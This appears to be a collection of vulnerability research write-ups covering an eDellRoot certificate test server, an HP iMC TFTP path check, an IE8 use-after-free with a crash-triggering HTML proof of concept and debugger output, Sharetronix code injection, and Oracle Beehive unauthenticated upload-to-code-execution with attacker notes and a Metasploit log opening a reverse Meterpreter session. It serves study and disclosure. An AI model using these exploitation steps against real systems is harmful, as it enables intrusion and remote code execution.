require 'webrick' require 'webrick/https' require 'openssl' cert = OpenSSL::X509::Certificate.new(File.read('server.pem')) pkey = OpenSSL::PKey::RSA.new(File.read('server.key')) server = WEBrick::HTTPServer.new(:Port => 8000, :SSLEnable => true, :SSLCertificate => cert, :SSLPrivateKey => pkey) server.start
Go to localhost:8000/test.html, you should see that eDellRoot has identified the site as localhos,
and that your connection is trusted.
Technical Analysis
Setup
- Windows Server 2003 SP2
- .Net Framework 3.5 SP1
- Windows Installer 4.5
- HP iMC 5.0
- Microsoft SQL Server 2008 Express
- LocalSystem to run the service
- sa account enabled
- TCP/IP and Named Pipes enabled
Breakpoints
bp 00402542 ".printf /ow \"\\nHandling WRQ request\\n\"; g" bp 00402241 ".printf \"File path check for '/', you have:\\n\"; db esi L1; g" bp 0040225a ".printf \"File path check for ':', you have:\\n\"; db esi+1 L1; g" bp 00402268 ".printf \"Searching for '..' in file path, found: %x\\n\", eax; g" bp 00402277 ".printf /oe \"You have hit File Access Violation in RRQ\\n\"; g" bp 00401ea0 ".printf /ow \"\\nHandling DATA request\\n\"; g" bp 00402097 ".echo \"File handles before open():\"; .foreach /pS 1 /ps 1 (h {!handle 0 0x04 File}) {.if ($scmp(\"${h}\",\"type\") > -1) {} .elsif ($scmp(\"${h}\", \"handles\") > -1) {} .else { .printf \"File handle \"; .echo h} } ;.echo; g" bp 00402096 ".echo \"Opening file handle for path:\"; db eax; ; .echo; g" bp 004020a1 ".echo \"File handles after open():\"; .foreach /pS 1 /ps 1 (h {!handle 0 0x04 File}) {.if ($scmp(\"${h}\",\"type\") > -1) {} .elsif ($scmp(\"${h}\", \"handles\") > -1) {} .else { .printf \"File handle \"; .echo h} } ;.echo; g" bp 00402108 ".echo \"Writing to file...\"; g"
Thoughts
ZDI claims that this is a “remote code execution” bug, because a remote user can upload an arbitrary
file onto the remote server. In theory, being able to write to the victim machine COULD lead to code
execution, but after looking at the bug, it’s probably a long shot.
Ideally, an arbitrary WRITE vulnerability requires one of the conditions to be met in order to ensure
automatic code execution:
- The user can traverse their way out, and write the malicious file onto a specific place such as WBEM.
- Having the upload folder mapped as a WWW virtual directory. That way you can upload a malicious web
script using TFTP, and then send a HTTP request to execute the script.
- If there’s already an executable placed in the upload folder, and it’s called by some other services
or programs, in theory you could overwrite that file, and then gain code execution when it’s called.
The technique ZDI is referring to is probably #3, because this is what they say in the advisory:
"When handling WRQ opcode types the server allows arbitrary file creation. Additionally," the server is configured to truncate/overwrite existing files."
However, the default upload directory does not have any executable in there, except for a ‘License.txt”
file. So attack vector #3 is very unlikely. Note: The default location of that directory is:
C:\Program Files\iMC\server\tmp\
Attack vector #2 should also be ruled out, because by default, the upload directory isn’t mapped or
shared to anything.
And that leaves us attack vector #1 (dir traversal)…
It’s rather easy to make a WRQ request using the tftp command. Here’s an attempt of trying to write to
a location outside of the ‘tmp’ directory:
tftp> connect 10.0.1.8 tftp> put /tmp/test.txt ../../../../blah/test.txt Error code 256: Access voilation.
During the above experiment, folder “blah” is set to allow full access to “everyone”.
Process Monitor also does not show any signs of the tftpserver.exe process attempting to access path
test.txt before hitting an “Access violation”:
tftpserver.exe 4092 UDP Receive sinn3r-qixn9ta2:tftp -> 10.0.1.3:50839 SUCCESS Length: 40 tftpserver.exe 4092 UDP Send sinn3r-qixn9ta2:tftp -> 10.0.1.3:50839 SUCCESS Length: 22 tftpserver.exe 4092 QueryStandardInformationFile C:\Program Files\iMC\server\conf\log\tftpserver.2012-09-14.txt SUCCESS AllocationSize: 4,096, EndOfFile: 2,815, NumberOfLinks: 1, DeletePending: False, Directory: False tftpserver.exe 4092 QueryStandardInformationFile C:\Program Files\iMC\server\conf\log\tftpserver.2012-09-14.txt SUCCESS AllocationSize: 4,096, EndOfFile: 2,815, NumberOfLinks: 1, DeletePending: False, Directory: False tftpserver.exe 4092 WriteFile C:\Program Files\iMC\server\conf\log\tftpserver.2012-09-14.txt SUCCESS Offset: 2,815, Length: 132
This is what we get from the TFTP’s log file:
2012-09-14 14:36:27.182 [ERROR (-1)] [THREAD(6196)] [TFTPService::handle_input] Receive error packet 2012-09-14 14:37:00.869 [ERROR (-1)] [THREAD(6196)] [TFTP::handleRRQ] File Access Voliation,filename=../../../../../blah/test.txt!
Based on these clues, I suspect the “Access violation” error is thrown before tftpserver.exe actually
tries to write ‘test.txt’ to the file system.
In particular, this is the code that’s the reason we get “Access violation” — when there’s a “..” in
our path, we get rejected:
.text:0040225C loc_40225C: ; CODE XREF: handleWRQ+84j .text:0040225C push offset SubStr ; ".." .text:00402261 push esi ; Str .text:00402262 call ds:strstr .text:00402268 add esp, 8 .text:0040226B test eax, eax .text:0040226D jz short loc_402298 ; If no ".." found, go to 0x402298 .text:0040226F .text:0040226F loc_40226F: ; CODE XREF: handleWRQ+71j .text:0040226F ; handleWRQ+8Aj .text:0040226F push esi ; ArgList .text:00402270 push offset aTftpHandlerr_2 ; "[TFTP::handleRRQ] File Access Voliation"... .text:00402275 push 0FFFFFFFFh ; int .text:00402277 call sub_408180 .text:0040227C add esp, 0Ch .text:0040227F lea eax, [esp+0ACh+var_98] .text:00402283 push eax .text:00402284 mov ecx, ebp .text:00402286 mov [esp+0B0h+var_98], 2 .text:0040228E call buildErrorPacket
Other characters that can lead to the same rejection (part of the same function – 0x004021D0):
.text:00402239 cmp eax, 1 ; Make sure there's at least 1 byte of file path to check .text:0040223C jb short loc_402243 .text:0040223E cmp byte ptr [esi], '/' ; Check if the file path begins with "/" .text:00402241 jz short loc_40226F ; Access Violation .text:0040224F sub eax, edx .text:00402251 cmp eax, 2 ; Make sure there's at least 2 bytes in the file path .text:00402254 jb short loc_40225C .text:00402256 cmp byte ptr [esi+1], ':' ; Check the second byte for ":" .text:0040225A jz short loc_40226F ; Access Violation
Environment variables can bypass these checks. However, it won’t be recognized as a legit file path.
Here’s the routine that creates/writes the file:
.text:00402096 loc_402096: ; CODE XREF: handleDATA+1CDj .text:00402096 ; handleDATA+1D9j .text:00402096 push eax .text:00402097 lea ecx, [esp+0B8h+var_94] .text:0040209B call ds:?open@?$basic_ofstream@DU?$char_traits@D@std@@@std@@QAEXPBDHH@Z ; std::basic_ofstream<char,std::char_traits<char>>::open(char const *,int,int) ... .text:00402103 loc_402103: ; CODE XREF: handleDATA+25Cj .text:00402103 push ebx .text:00402104 lea ecx, [esp+0B4h+var_94] .text:00402108 call ds:?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBDH@Z ; std::basic_ostream<char,std::char_traits<char>>::write(char const *,int)
The actual file path that will be opened (see that it’s also rejected):
tftpserver.exe 4092 CreateFile C:\Program Files\iMC\server\tmp\%SystemDrive%\blah\test.txt PATH NOT FOUND Desired Access: Generic Write, Read Attributes, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: 0
Technical Analysis
Analysis
In IE8 standards mode, it’s possible to cause a use-after-free condition by first creating an
illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being
a sub table element. When the CPhraseElement’s outer content is reset by using either outerText
or outerHTML through an event handler, this triggers a free of its child element (in this case,
a CAnchorElement, but some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next
functions, eventually used in mshtml!CElement::Doc when it’s trying to make a call to the object’s
SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take
advantage of this by first creating an CAnchorElement object, let it free, and then replace the
freed memory with another fake object. Successfully doing so may allow arbitrary code execution
under the context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at
Hitcon 2013, but was silently patched in the July 2013 update (MS13-055).
PoC does not trigger for the following setups:
- Win XP SP3 + IE7
- Win 7 SP1 + IE9
PoC
<!DOCTYPE html> <table> <tr> <div> <span> <q id='e'> <a> <td></td> </a> </q> </span> </div> </tr> </table> <script> window.onload = function(){ var x = document.getElementById('e'); x.outerHTML = ''; } </script> </html>
DOM Tree
CBodyElement -> CTable -> CTableSection -> CTableRow -> CPhraseElement -> CAnchorElement -> CTableCell
Win XP SP3 + IE8
.text:63717B12 ; public: class ISpanQualifier * __thiscall SRunPointer::SpanQualifier(void)const .text:63717B12 ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ proc near ... text:63717B2D mov eax, [eax+0Ch] And then this return value is passed on to GetFancyFormat: .text:6371DBC5 call ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ ; SRunPointer::SpanQualifier(void) .text:6371DBCA call ?GetFancyFormat@ISpanQualifier@@QAEPBVCFancyFormat@@_N@Z ; ISpanQualifier::GetFancyFormat(bool) ... In GetFancyFormat, that return value is assigned to ESI: .text:63717F1A mov esi, eax .text:63717F1C call ?IsTreeNodeQualifier@ISpanQualifier@@QBE_NXZ ; ISpanQualifier::IsTreeNodeQualifier(void) ESI will then get assigned to ECX - "this" in C++: .text:63717F29 mov ecx, esi .text:63717F2B call ?GetFancyFormat@CTreeNode@@QAEPBVCFancyFormat@@XZ ; CTreeNode::GetFancyFormat(void)
You keep following ECX, eventually that leads to the crash.
0:008> dd ebx L30/4 06a20fb0 06a32f98 00000000 ffff0002 ffffffff 06a20fc0 00000011 00000000 00000000 00000000 06a20fd0 00000000 06a20fd8 00000012 00000000 vftable = 06a32f98 Ref counter = 0 0:008> !heap -p -a ebx address 06a20fb0 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 653d418: 6a20fb0 4c - 6a20000 2000 ? <Unloaded_pi.dll>+6a32f97 7c918f01 ntdll!RtlAllocateHeap+0x00000e64 636a9a94 mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141 636a99d3 mshtml!CHtmRootParseCtx::EndElement+0x000000cb 635a8ee4 mshtml!CHtmTextParseCtx::EndElement+0x0000006e 635a71eb mshtml!CHtmParse::EndElement+0x0000007b 6359f47c mshtml!CHtmParse::CloseContainer+0x000001c5 635bf441 mshtml!CHtmParse::CloseAllContainers+0x00000026 635a941d mshtml!CHtmParse::PrepareContainer+0x0000007f 635a933f mshtml!CHtmParse::ParseBeginTag+0x00000028 635a6bb6 mshtml!CHtmParse::ParseToken+0x00000082 635a7ff4 mshtml!CHtmPost::ProcessTokens+0x00000237 635a734c mshtml!CHtmPost::Exec+0x00000221 635ac2b8 mshtml!CHtmPost::Run+0x00000015 635ac21b mshtml!PostManExecute+0x000001fd 635ac17e mshtml!PostManResume+0x000000f8 635ac0e2 mshtml!CHtmPost::OnDwnChanCallback+0x00000010 0:008> !heap -p -a ecx address 06a32f98 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 653d6c0: 6a32000 2000 7c927553 ntdll!RtlFreeHeap+0x000000f9 637e06f2 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028 63628a50 mshtml!CBase::SubRelease+0x00000022 63625df6 mshtml!CElement::PrivateExitTree+0x00000011 635c5ef1 mshtml!CMarkup::SpliceTreeInternal+0x00000083 635c84e3 mshtml!CDoc::CutCopyMove+0x000000ca 635c9264 mshtml!CDoc::Remove+0x00000018 635c92e9 mshtml!RemoveWithBreakOnEmpty+0x0000003a 63742f86 mshtml!CElement::InjectInternal+0x0000032a 635c9415 mshtml!CElement::InjectCompatBSTR+0x00000046 638bb56b mshtml!CElement::put_outerText+0x00000025 6366906f mshtml!GS_BSTR+0x000001ab 636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1 6366418a mshtml!CElement::ContextInvokeEx+0x0000009d 6362b6ce mshtml!CInput::VersionedInvokeEx+0x0000002d 63642eec mshtml!PlainInvokeEx+0x000000ea .text:635C4A2E ; public: static long __stdcall CAnchorElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *) .text:635C4A2E ?CreateElement@CAnchorElement@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near .text:635C4A2E ; DATA XREF: .text:6364B798o .text:635C4A2E .text:635C4A2E arg_4 = dword ptr 0Ch .text:635C4A2E arg_8 = dword ptr 10h .text:635C4A2E .text:635C4A2E ; FUNCTION CHUNK AT .text:638589CC SIZE 0000000A BYTES .text:635C4A2E .text:635C4A2E mov edi, edi .text:635C4A30 push ebp .text:635C4A31 mov ebp, esp .text:635C4A33 push esi .text:635C4A34 push edi .text:635C4A35 push 68h ; dwBytes .text:635C4A37 push 8 ; dwFlags .text:635C4A39 push _g_hProcessHeap ; hHeap .text:635C4A3F xor edi, edi .text:635C4A41 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x) 0:008> r eax=63aae200 ebx=06a20fb0 ecx=06a32f98 edx=00000000 esi=037cd1e0 edi=00000000 eip=6363fcc4 esp=037cd1b4 ebp=037cd1cc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 6363fcc4 8b01 mov eax,dword ptr [ecx] ds:0023:06a32f98=???????? 0:008> dds 63630788+0x70 L1 636307f8 6363fc94 mshtml!CElement::SecurityContext 0:008> k ChildEBP RetAddr 037cd1b0 63602718 mshtml!CElement::Doc 037cd1cc 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9 037cd478 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44 037cd488 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 037cd498 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf 037cd4a8 63717f30 mshtml!CTreeNode::GetFancyFormat+0x35 037cd4b4 6371dbcf mshtml!ISpanQualifier::GetFancyFormat+0x5a 037cd4c0 6371db8f mshtml!SRunPointer::IsRelativeSpanEdge+0x3a 037cd4c8 637224a7 mshtml!SRunPointer::IsRelativeSpan+0x14 037cd4e8 63722412 mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d 037cd518 63723ccf mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24d 037cd89c 63723c13 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90 037cd924 63723b48 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66 037cda10 6370e989 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203 037cdac8 6370e73e mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7 037cde48 636ccc93 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x349 037cdeec 636cca21 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x130 037ce408 6370c515 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad 037ce888 6370c515 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6 037ced08 6370e989 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6
Win 7 SP0 + IE8
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. .... 0:012> g .... (c20.274): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=6b105100 ebx=08a7ffb0 ecx=08f0ff98 edx=00000000 esi=043fcf78 edi=00000000 eip=6ad8c400 esp=043fcf4c ebp=043fcf64 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 6ad8c400 8b01 mov eax,dword ptr [ecx] ds:0023:08f0ff98=???????? 0:005> u mshtml!CElement::Doc: 6ad8c400 8b01 mov eax,dword ptr [ecx] 6ad8c402 8b5070 mov edx,dword ptr [eax+70h] 6ad8c405 ffd2 call edx 6ad8c407 8b400c mov eax,dword ptr [eax+0Ch] 6ad8c40a c3 ret 6ad8c40b 33c0 xor eax,eax 6ad8c40d e9f7aeffff jmp mshtml!CAttrArray::PrivateFind+0x8f (6ad87309) 6ad8c412 90 nop 0:005> k ChildEBP RetAddr 043fcf48 6adb5961 mshtml!CElement::Doc 043fcf64 6adb586d mshtml!CTreeNode::ComputeFormats+0xba 043fd210 6adba12d mshtml!CTreeNode::ComputeFormatsHelper+0x44 043fd220 6adba0ed mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 043fd230 6adba0d4 mshtml!CTreeNode::GetFancyFormatHelper+0xf 043fd240 6ac3b9c4 mshtml!CTreeNode::GetFancyFormat+0x35 043fd24c 6acb15b0 mshtml!ISpanQualifier::GetFancyFormat+0x5a 043fd258 6acb156d mshtml!SRunPointer::IsRelativeSpanEdge+0x3a 043fd260 6acb4c92 mshtml!SRunPointer::IsRelativeSpan+0x14 043fd290 6acb4bfd mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d 043fd2c0 6acb532e mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24c 043fd644 6acb5272 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90 043fd6d4 6acb51a7 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66 043fd7c0 6ac9e4a9 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203 043fd878 6ac9e271 mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7 043fdbf8 6ac57a79 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x352 043fdc9c 6ac57834 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x133 043fe1b8 6ac9d919 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad 043fe638 6ac9d919 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9 043feab8 6ac9e4a9 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9 0:005> !heap -p -a ebx address 08a7ffb0 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 83d3e04: 8a7ffb0 4c - 8a7f000 2000 6d4f8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77594ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77557d96 ntdll!RtlpAllocateHeap+0x000000c4 775234ca ntdll!RtlAllocateHeap+0x0000023a 6ac2565b mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141 6ac2557e mshtml!CHtmRootParseCtx::EndElement+0x000000cb 6ad17870 mshtml!CHtmTextParseCtx::EndElement+0x0000006e 6ad170b8 mshtml!CHtmParse::EndElement+0x0000007b 6ad2a4de mshtml!CHtmParse::CloseContainer+0x000001c1 6ad292d3 mshtml!CHtmParse::CloseAllContainers+0x00000026 6ad18864 mshtml!CHtmParse::PrepareContainer+0x0000007f 6ad18907 mshtml!CHtmParse::ParseBeginTag+0x00000028 6ad16e93 mshtml!CHtmParse::ParseToken+0x00000082 6ad175c9 mshtml!CHtmPost::ProcessTokens+0x00000237 6ad078e8 mshtml!CHtmPost::Exec+0x00000221 6ad08a99 mshtml!CHtmPost::Run+0x00000015 6ad089fd mshtml!PostManExecute+0x000001fb 6ad07c66 mshtml!PostManResume+0x000000f7 6ad213f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010 6ad053fc mshtml!CDwnChan::OnMethodCall+0x00000019 6ada94b2 mshtml!GlobalWndOnMethodCall+0x000000ff 6ad937f7 mshtml!GlobalWndProc+0x0000010c 75bc86ef USER32!InternalCallWinProc+0x00000023 75bc8876 USER32!UserCallWinProcCheckWow+0x0000014b 75bc89b5 USER32!DispatchMessageWorker+0x0000035e 75bc8e9c USER32!DispatchMessageW+0x0000000f 6d8004a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452 6d810446 IEFRAME!LCIETab_ThreadProc+0x000002c1 763849bd iertutil!CIsoScope::RegisterThread+0x000000ab 75f71174 kernel32!BaseThreadInitThunk+0x0000000e 7752b3f5 ntdll!__RtlUserThreadStart+0x00000070 7752b3c8 ntdll!_RtlUserThreadStart+0x0000001b 0:005> !heap -p -a ecx address 08f0ff98 found in _DPH_HEAP_ROOT @ 51000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 8f50138: 8f0f000 2000 6d4f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77595674 ntdll!RtlDebugFreeHeap+0x0000002f 77557aca ntdll!RtlpFreeHeap+0x0000005d 77522d68 ntdll!RtlFreeHeap+0x00000142 75f6f1ac kernel32!HeapFree+0x00000014 6adf8c42 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028 6ad97dd0 mshtml!CBase::SubRelease+0x00000022 6adf0fdf mshtml!CElement::PrivateExitTree+0x00000011 6acd5b42 mshtml!CMarkup::SpliceTreeInternal+0x00000083 6acd6ff9 mshtml!CDoc::CutCopyMove+0x000000ca 6acd6f39 mshtml!CDoc::Remove+0x00000018 6acd6f17 mshtml!RemoveWithBreakOnEmpty+0x0000003a 6ac0288a mshtml!CElement::InjectInternal+0x0000032a 6acd704a mshtml!CElement::InjectCompatBSTR+0x00000046 6af1aee9 mshtml!CElement::put_outerText+0x00000025 6ae172d6 mshtml!GS_BSTR+0x000001ac 6ae0235c mshtml!CBase::ContextInvokeEx+0x000005dc 6ae0c75a mshtml!CElement::ContextInvokeEx+0x0000009d 6ae0c79a mshtml!CInput::VersionedInvokeEx+0x0000002d 6adb3104 mshtml!PlainInvokeEx+0x000000eb 6cdea22a jscript!IDispatchExInvokeEx2+0x00000104 6cdea175 jscript!IDispatchExInvokeEx+0x0000006a 6cdea3f6 jscript!InvokeDispatchEx+0x00000098 6cdea4a0 jscript!VAR::InvokeByName+0x00000139 6cdfd8c8 jscript!VAR::InvokeDispName+0x0000007d 6cde9c0e jscript!CScriptRuntime::Run+0x0000208d 6cdf5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce 6cdf5bfb jscript!ScrFncObj::Call+0x0000008d 6cdf5e11 jscript!CSession::Execute+0x0000015f 6cdef3ee jscript!NameTbl::InvokeDef+0x000001b5 6cdeea2e jscript!NameTbl::InvokeEx+0x0000012c 6ae27af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
Technical Analysis
According to the advisory: http://karmainsecurity.com/KIS-2013-11
1) Input passed via the “activities_text” POST parameter to /services/activities/set is not properly sanitised before being used in a call to the “preg_replace()” function with the “e” modifier in the /system/classes/class_post.php script. This can be exploited to inject and execute arbitrary PHP code.
2) Input passed via the “comments_text” POST parameter to /services/comments/set is not properly sanitised before being used in a call to the “preg_replace()” function with the “e” modifier in the /system/classes/class_postcomment.php script. This can be exploited to inject and execute arbitrary PHP code.
And: No official solution is currently available (at the time of advisory publication).
Downloaded Sharetronix 3.1.1 from the official website and found it:
- class_postcomment.php
$message = htmlspecialchars($this->comment_message); if( FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'ftp://') ) { $message = preg_replace('#(^|\s)((http|https|ftp)://\w+[^\s\[\]]+)#ie', 'post::_postparse_build_link("\\2", "\\1")', $message); }
- class_post.php
$message = htmlspecialchars($this->post_message); if( FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'ftp://') ) { $message = preg_replace('#(^|\s)((http|https|ftp)://\w+[^\s\[\]]+)#ie', 'post::_postparse_build_link("\\2", "\\1")', $message); }
Unfortunately, in both cases, htmlspecialchars is called over \(this->comment_message or \)this->post_message, so, evenwhen the preg_replace with /e flag is there, you need “ to scape, unfortunately htmlspecialchars is htmlencoding ” (double quotes).
I guess it was silently patched or something like that, unfortunately, I haven’t access to older versions, I can’t find nothing in the vendor homepage :(
Technical Analysis
Oracle Beehive suffers from a vulnerability that allows a remote attacker to upload a malicious
file, and execute it under the context of SYSTEM. Authentication is not required to exploit this
vulnerability.
The prepareAudioToPlay()
function found in voice-servlet is meant to be used to prepre for an
wav file upload, such as creating the base path, a session file, etc. The session file creation can
be abused via the playAudioFile.jsp page to upload anything we want without any security checks.
This bug was found while reviewing mr_me’s Oracle Beehive exploit privately submitted to me, which
also exploits the same type of problem in the same voice-servlet, but different function
(processEvaluation
). I asked mr_me about the prepareAudioToPlay()
one, and turns out he already
reported it to ZDI, so I took no additional steps for disclosure. I was still credited for the
overlapped finding anyway.
This bug is scheduled for public disclosure on Oct 28, 2015 (ZDI-CAN-3004).
Tested & Analyzed Versions
Oracle Beehive 2.0.1.0.0
Code Analysis
The vulnerable function (prepareAudioToPlay
) can be found at the following location:
C:\oracle\product\2.0.1.0.0\beehive_2\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\Include.jspf
The Include.jspf file serves more like a library for the whole servlet. First off, it retrieves and
initializes the following parameters:
// Global parameters String sessionNumber = request.getParameter("sess"); String recxml = request.getParameter("recxml"); String wavFile = request.getParameter("wavfile"); String prevwavFile = request.getParameter("prevwavfile"); String audiopath = request.getParameter("audiopath"); String evaluation = request.getParameter("evaluation"); String testaudiopath = "testaudio"; // prevwavFile = prevwavFile != null && prevwavFile.equalsIgnoreCase("null") ? null : prevwavFile; // Setup other local variables ServletContext context = pageContext.getServletContext(); String currDirectory = context.getRealPath("") + File.separator + "prompt-qa"; String resultsDirectory = currDirectory + File.separator + "results"; String sessionsDirectory = currDirectory + File.separator + "sessions"; String recxmlDirectory = currDirectory + File.separator + "recxmls"; String testDirectory = currDirectory + File.separator + testaudiopath; // // Styles // .... skipping styles code because not important for our vulnerability .... // // Initialize the session number and audio path // sessionNumber = generateSessionNumber(sessionNumber, sessionsDirectory); audiopath = audiopath == null ? getAudioPath(recxml) : audiopath;
And then here’s our vulnerable function. For the arguments required, we have direct control of:
- audiopath – this gives us control of the file path of a fastCopy function.
- recxml – this gives us control of the sess file content.
- wavFile – this gives us control of how the servlet builds the base path.
- sessionNumber – this gives us control of the sess file name.
At the end of the function is the FileOutputStream code we can abuse to upload malicious data
to the web server.
public void prepareAudioToPlay (String audiopath, String recxml, String wavFile, String sessionsDirectory, String sessionNumber, String currDirectory, String testDirectory, String testaudiopath) { // // Build the base path for the new audio file. // if (wavFile.indexOf(File.separator) != -1) { String base = wavFile.substring(0, wavFile.indexOf(File.separator)); File dir = new File(testDirectory + File.separator + recxml + File.separator + base); dir.mkdirs(); } // // Copy the file to test to the testaudio directory and give it a // unique name. // int index = 0; String newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index + ".wav"; File fout = null; try { fout = new File(testDirectory + File.separator + recxml + File.separator + newWavFile); // Generate a unique output file. while (fout.exists()) { index++; newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index + ".wav"; fout = new File(testDirectory + File.separator + recxml + File.separator + newWavFile); } } catch (Exception e) {} File fin = new File(currDirectory + File.separator + audiopath + wavFile); fastCopy(fin, fout); // // Put the file to play in the session file. // File sf = null; FileOutputStream fos = null; PrintStream ps = null; try { sf = new File(sessionsDirectory + File.separator + sessionNumber + ".sess"); fos = new FileOutputStream(sf, false); // do not append ps = new PrintStream(fos); ps.print(testaudiopath + "/" + recxml + "/" + newWavFile); ps.close(); fos.close(); } catch (Exception e2) {} }
Since prepareAudioToPlay()
is a function, and Include.jspf does not call itself, we need to
find another page that does. Our ideal candidate is playAudioFile.jsp, because it calls
prepareAudioToPlay()
as soon as you request it:
<%@ include file="Include.jspf"%> <% prepareAudioToPlay(audiopath, recxml, wavFile, sessionsDirectory, sessionNumber, currDirectory, testDirectory, testaudiopath); .... more code below but not so relevant to our bug ....
Attacker’s Notes
The two most important parameters are sess
and recxml
for the prepareAudioToPlay
function.
Since the sess
parameter is part of the filename:
sf = new File(sessionsDirectory + File.separator + sessionNumber + ".sess");
We can inject a null byte at the end and supply our own file extension to create an arbitrary file
type (such as JSP). And then we can traverse our way out to a different directory, somewhere that
allows us to call the malicious file with an HTTP request.
The recxml
parameter is part of the session file content:
ps.print(testaudiopath + "/" + recxml + "/" + newWavFile);
The testaudiopath
variable, the slashes, and the newWavFile
variable are junk to us, but should not
affect our malicious code as long as we wrap the code around in a <% ... %>
block.
Another thing we need is the wavFile
parameter has to be at least 4 bytes long, otherwise we trigger
this bug in the vulnerable function, and our attack fails:
String newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index + ".wav";
Demonstration
Exploit is available as oracle_beehive_prepareaudiotoplay.rb:
msf exploit(beehive) > rerun [*] Reloading module... [*] Started reverse handler on 192.168.1.64:4444 [*] 192.168.1.109:7777 - Stager name is: blah.jsp [*] 192.168.1.109:7777 - Executable name is: blah.exe [*] 192.168.1.109:7777 - Uploading stager... [*] 192.168.1.109:7777 - Uploading payload... [*] Sending stage (882688 bytes) to 192.168.1.109 [*] Meterpreter session 7 opened (192.168.1.64:4444 -> 192.168.1.109:2917) at 2015-05-07 02:01:54 -0500 meterpreter >
Technical Analysis
— Allocating 0x4C bytes from InsertElementInternal: 0x0563cfb0
In 0x0563cfb0, offset+0 holds a reference to a mshtml!CGenericElement::`vftable':
eax=037cc598 ebx=037cc548 ecx=04a48d10 edx=633b5f09 esi=070eefa0 edi=037cc538
eip=633b5f09 esp=037cc4f8 ebp=037cc55c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!JsAtan2:
633b5f09 8bff mov edi,edi
0:008> dc 0x0563cfb0; .echo; dc poi(0x0563cfb0)
0563cfb0 06a99fc8 00000000 ffff0075 ffffffff ……..u…….
0563cfc0 00000071 00000000 00000000 00000000 q……………
0563cfd0 00000000 0563cfd8 00000152 00000001 ……c.R…….
0563cfe0 00000000 00000000 0563cfc0 00000000 ……….c…..
0563cff0 00000010 00000000 00000000 d0d0d0d0 …………….
0563d000 ???????? ???????? ???????? ???????? ????????????????
0563d010 ???????? ???????? ???????? ???????? ????????????????
0563d020 ???????? ???????? ???????? ???????? ????????????????
06a99fc8 635db4c8 00000001 00000008 07018fe8 ..]c…………
